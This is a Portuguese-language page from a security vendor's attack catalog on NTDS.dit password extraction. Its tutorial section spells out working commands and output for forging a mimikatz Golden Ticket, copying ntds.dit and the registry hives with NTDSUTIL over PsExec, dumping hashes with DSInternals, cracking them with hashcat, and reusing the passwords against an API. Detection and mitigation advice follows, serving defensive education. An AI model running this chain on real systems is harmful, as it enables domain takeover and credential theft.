Magic Quadrant™ para gerenciamento de acesso privilegiado 2025: Netwrix reconhecida pelo quarto ano consecutivo. Baixe o relatório.

Plataforma
Glossário de cibersegurançaCatálogo de ataques
Ataque de Extração de Senha NTDS.dit

Ataque de Extração de Senha NTDS.dit

Todos os dados no Active Directory são armazenados no arquivo ntds.dit (“o dit”) em todos os controladores de domínio (em C:\Windows\NTDS\ por padrão). Os atacantes podem usar os hashes de senha diretamente do dit para avançar seus objetivos. Quebrar as senhas dos usuários é benéfico mesmo que um adversário já tenha obtido domínio sobre o domínio, pois os usuários frequentemente reutilizam senhas em sistemas e aplicações dentro e fora do domínio.

Para obter acesso ao arquivo ntds.dit em um controlador de domínio, um adversário deve ter obtido acesso de administrador ao Active Directory. Alternativamente, um adversário poderia comprometer a solução de backup empresarial responsável pelo backup dos controladores de domínio e copiar ntds.dit de um backup. A maioria das organizações não rotaciona frequentemente o segredo krbtgt (veja o ataque Golden Ticket) então até backups mais antigos podem ser úteis.

Resumo de Ameaças

Alvo: Active Directory

Ferramentas: DSInternals, ntdsxtract, PowerSploit, mimikatz

Tática ATT&CK®: Acesso a Credenciais

Técnica ATT&CK: T1003.003

Dificuldade

Detecção: Médio

Mitigação: Média

Resposta: Difícil

Tutorial de Ataque: Como funciona a extração de senhas do NTDS.dit

PASSO 1: Obter os privilégios necessários

Um adversário deve possuir acesso ao sistema de arquivos de um controlador de domínio antes que ele possa extrair o ntds.dit. Como essa exigência torna a extração do ntds.dit um ataque de estágio avançado, um adversário poderia usar um hash de senha previamente comprometido para a conta de computador de um controlador de domínio para criar um Silver Ticket.
No exemplo abaixo, o adversário usa mimikatz para obter acesso ao sistema de arquivos de um controlador de domínio através de um Golden Ticket.

      PS> .\mimikatz.exe "kerberos::golden /user:FakeUser1 /domain:domain.com /sid:S-1-5-21-441320023-234525631-506766575 /id:S-1-5-21-441320023-234525631-506766575-1000 /target:DC1.domain.com /service:HOST /RC4:be3710380a7600e825a2d9ef4ae0fcf0 /ptt" "misc::cmd"

User: FakeUser1

Domain: domain.com (DOMAIN)

SID: S-1-5-21-441320023-234525631-506766575

User Id: 0

Groups Id : *513 512 520 518 519

ServiceKey: be3710380a7600e825a2d9ef4ae0fcf0 - rc4_hmac_nt

Service: HOST

Target: DC1.domain.com

Lifetime: 31/07/2020 11:13:28 ; 29/07/2030 11:13:28 ; 29/07/2030 11:13:28

-> Ticket : ** Pass The Ticket **

* PAC generated

* PAC signed

* EncTicketPart generated

* EncTicketPart encrypted

* KrbCred generated

Golden ticket for 'FakeUser1 @ domain.com' successfully submitted for current session

mimikatz # misc::cmd

Patch OK for 'cmd.exe' from 'DisableCMD' to 'KiwiAndCMD' @ 00007FF7FB1F4320

# A new command prompt window opens

C:\Windows\System32>
      

PASSO 2: Exfiltrar ntds.dit

Com acesso ao sistema de arquivos de um controlador de domínio, o adversário pode exfiltrar o ntds.dit bem como a chave do registro HKEY_LOCAL_MACHINE\SYSTEM, que é necessária para obter a Boot Key para descriptografar o ntds.dit.

Note que enquanto o Active Directory está em funcionamento, ele mantém um bloqueio do sistema de arquivos no arquivo ntds.dit, portanto, tentativas de copiá-lo falharão. Os adversários têm várias maneiras de contornar essa restrição; em particular, eles podem:

  • Basta parar o Active Directory (embora isso provavelmente resulte em detecção).
  • Utilize o Volume Shadow Copy Service (VSS) para criar um snapshot do volume e extrair o ntds.dit do snapshot.
  • Utilize uma ferramenta PowerShell como o PowerSploit’s Invoke-NinjaCopy para copiar os arquivos mesmo que estejam em uso.
  • Utilize uma ferramenta integrada como DSDBUtil.exe ou NTDSUtil.exe para criar arquivos de mídia de instalação do active directory.
      PS> .\PSExec.exe \\dc1.domain.com cmd

PsExec v2.2 - Execute processes remotely

Copyright (C) 2001-2016 Mark Russinovich

Sysinternals - www.sysinternals.com

Microsoft Windows [Version 10.0.17763.1339]

(c) 2018 Microsoft Corporation. All rights reserved.

DC1 > NTDSUTIL "Activate Instance NTDS" "IFM" "Create Full S:\Files" "q" "q"

NTDSUTIL: Activate Instance NTDS

Active instance set to "NTDS".

NTDSUTIL: IFM

ifm: Create Full S:\Files

Creating snapshot...

Snapshot set {3bacc31c-e2cb-4508-b0bf-5b4ec62f7c68} generated successfully.

Snapshot {6bfb4e7a-4c5a-42d2-8bd4-cc5f368de171} mounted as C:\$SNAP_202007311120_VOLUMES$\

Snapshot {328aa5f1-7f8f-4a0c-813c-573100a11e92} mounted as C:\$SNAP_202007311120_VOLUMEC$\

Initiating DEFRAGMENTATION mode...

Source Database: C:\$SNAP_202007311120_VOLUMES$\Windows\NTDS\ntds.dit

Target Database: S:\Files\Active Directory\ntds.dit

DefragmentationStatus (Complete)

0102030405060708090100

|----|----|----|----|----|----|----|----|----|----|

...................................................

Copying registry files...

Copying S:\Files\registry\SYSTEM

Copying S:\Files\registry\SECURITY

Snapshot {6bfb4e7a-4c5a-42d2-8bd4-cc5f368de171} unmounted.

Snapshot {328aa5f1-7f8f-4a0c-813c-573100a11e92} unmounted.

IFM media created successfully in S:\Files

ifm: q

NTDSUTIL: q

DC1 > Copy S:\Files \\wks2\Share



      

ETAPA 3: Extraia os hashes de senha

Uma vez que o adversário tenha exfiltrado o ntds.dit e a chave do registro HKLM\SYSTEM, ele não precisa mais de acesso à rede da organização. Um adversário interessado em quebrar as senhas geralmente deseja executar um ataque de força bruta com um computador otimizado para esse fim, mas primeiro precisará extrair os hashes do ntds.dit. O módulo PowerShell DSInternals fornece os cmdlets Get-BootKey e Get-ADDBAccount para esse propósito.

      $Key = Get-BootKey -SystemHiveFilePath C:\IFM\registry\SYSTEM

Get-ADDBAccount -BootKey $Key -DatabasePath 'C:\IFM\Active Directory\ntds.dit' -All |

Format-Custom -View HashcatNT |

Out-File C:\Hashdump.txt

PS> Get-Content C:\Hashdump.txt

f8ae01fc52f45dda7baf7a67721665f1

eed224b4784bb040aab50b8856fe9f02

# --- Output Truncated --- #
      

PASSO 4: Use os hashes de senha para alcançar objetivos adicionais

O adversário agora pode usar os hashes de senha em ataques pass-the-hash dentro do ambiente (talvez como um meio de persistência). Mais provavelmente, eles tentarão quebrar essas senhas para uso em ataques de preenchimento de credenciais contra sistemas que não estão unidos ao domínio. Neste exemplo, o adversário quebra os hashes para obter senhas em texto simples e as usa para se autenticar na API de um aplicativo SaaS.

      PS> .\hashcat.exe -m 1000 -a 3 --custom-charset1=?l?d?u --username -o cracked.txt .\Hashdump.txt ?1?1?1?1?1?1?1?1

Session..........: hashcat

Status...........: Running

Hash.Name........: NTLM

Hash.Target......: .\Hashdump.txt

Time.Started.....: Thu Aug 06 10:28:13 2020 (23 hours, 56 mins)

Time.Estimated...: Fri Aug 07 14:10:45 2020 (3 hours, 45 mins)

Guess.Mask.......: ?1?1?1?1?1?1?1?1 [8]

Guess.Charset....: -1 ?l?d?u, -2 Undefined, -3 Undefined, -4 Undefined

Guess.Queue......: 1/1 (100.00%)

Speed.#1.........:2165.2 MH/s (9.16ms) @ Accel:16 Loops:256 Thr:1024 Vec:1

Recovered........: 1/41 (2.44%) Digests

Progress.........: 189030831226880/218340105584896 (86.58%)

Rejected.........: 0/189030831226880 (0.00%)

Restore.Point....: 793149440/916132832 (86.58%)

Restore.Sub.#1...: Salt:0 Amplifier:13312-13568 Iteration:0-256

Candidates.#1....: TNAZRwMl -> FYNkI2Jx

Hardware.Mon.#1..: Temp: 84c Fan: 82% Util: 97% Core:1265MHz Mem:2504MHz Bus:16

PS> Get-Content .\cracked.txt

852e811a65d732c83214b4ff705d777a:F8qN47F1

PS># Attacker now uses the cracked passwords to authenticate with the username and password to a SaaS application's API

PS>$Username = "User1" # This is the user with the hash 852e811a65d732c83214b4ff705d777a which was cracked

PS>$Password = "F8qN47F1" # This is the password copied from cracked.txt

PS>$Object = New-Object -TypeName psobject

PS>$Object | Add-Member -MemberType NoteProperty -Name "login" -Value $Username

PS>$Object | Add-Member -MemberType NoteProperty -Name "password" -Value $Password

PS>$url = "https://service.url/api/login"

PS>$body = $Object | ConvertTo-Json

PS>$Header = @{ "accept" = "text/json"}

PS>$Response = Invoke-RestMethod -URI $url -Method POST -header $Header -Body $body -ContentType "application/json"

PS>$Headers = @{ 'Authorization' = "Bearer $Response" }

PS>$url = "https://service.url/api/DoThings"

PS>$Response = Invoke-RestMethod -Uri $url -Method Get -Headers $Headers

PS>$Response

{ "statusCode": 200, "statusMessage": "Things Done!" }
      

Detectar, Mitigar e Responder

Detectar

Dificuldade: Médio

Tentativas de acesso ao ntds.dit podem ser detectadas usando o log de eventos do Windows. Os IDs de evento 4663 4656 da subcategoria Audit File System podem ser usados para auditar o acesso ao sistema de arquivos. Use esses eventos para monitorar tentativas de leitura ou modificação do ntds.dit, tanto regulares quanto de Cópia de Sombra de Volume.

Mitigar

Dificuldade: Média

Para mitigar o risco de extração de senhas do ntds.dit, utilize as seguintes melhores práticas para ajudar a garantir que adversários não obtenham os privilégios necessários para comprometer controladores de domínio em primeiro lugar:

  • Audite rotineiramente o acesso administrativo ao Active Directory, incluindo direitos de Política de Grupo e configuração de auditoria para logons em controladores de domínio.
  • Siga rigorosamente o princípio da clean source principle para controladores de domínio: Toda a infraestrutura (por exemplo, ESX e armazenamento anexado) na qual os controladores de domínio residem ou aplicações que prestam serviço aos controladores de domínio (como soluções de backup) devem operar no mesmo nível de segurança que os próprios controladores de domínio.
  • Garanta a segurança física das máquinas controladoras de domínio. Se a segurança física não puder ser assegurada, considere executar controladores de domínio somente leitura para limitar a exposição de senhas.
  • Não permita que usuários possuam privilégios administrativos além das fronteiras de segurança. Por exemplo, um adversário que inicialmente compromete uma estação de trabalho não deve ser capaz de escalar privilégios para se mover de uma estação de trabalho para um servidor ou controlador de domínio.

Responder

Dificuldade: Difícil

Se houver suspeita de comprometimento do ntds.dit, deve-se também assumir um comprometimento total do Active Directory; em particular, presume-se que o segredo krbtgt também foi comprometido. Tome as seguintes ações:

  • Ative o processo de resposta a incidentes e alerte a equipe de resposta. A recuperação de um comprometimento total do Active Directory requer planejamento e esforço significativos.

Compartilhar em

Ver ataques de cibersegurança relacionados

Abuso de Permissões de Aplicativos Entra ID – Como Funciona e Estratégias de Defesa

Modificação do AdminSDHolder – Como Funciona e Estratégias de Defesa

Ataque AS-REP Roasting - Como Funciona e Estratégias de Defesa

Ataque Hafnium - Como Funciona e Estratégias de Defesa

Ataques DCSync Explicados: Ameaça à Segurança do Active Directory

Ataque a Contas de Serviço Gerenciadas por Grupo

Ataque Golden SAML

Entendendo ataques Golden Ticket

Ataque DCShadow – Como Funciona, Exemplos Reais e Estratégias de Defesa

Injeção de Prompt do ChatGPT: Entendendo Riscos, Exemplos e Prevenção

Ataque de Kerberoasting – Como Funciona e Estratégias de Defesa

Ataque Pass the Hash

Ataque Pass-the-Ticket Explicado: Riscos, Exemplos e Estratégias de Defesa

Ataque de Password Spraying

Ataque de Extração de Senha em Texto Simples

Vulnerabilidade Zerologon Explicada: Riscos, Explorações e Mitigação

Ataques de ransomware ao Active Directory

Desbloqueando o Active Directory com o Ataque Skeleton Key

Movimento Lateral: O que é, Como Funciona e Prevenções

Ataques Man-in-the-Middle (MITM): O que São & Como Preveni-los

Por que o PowerShell é tão popular entre os atacantes?

4 ataques a contas de serviço e como se proteger contra eles

Como Prevenir que Ataques de Malware Afetem o Seu Negócio

O que é Credential Stuffing?

Comprometendo o SQL Server com PowerUpSQL

O que são ataques de Mousejacking e como se defender contra eles

Roubando Credenciais com um Provedor de Suporte de Segurança (SSP)

Ataques de Rainbow Table: Como Funcionam e Como se Defender Contra Eles

Reconhecimento LDAP

Bypassando MFA com o ataque Pass-the-Cookie

Ataque Silver Ticket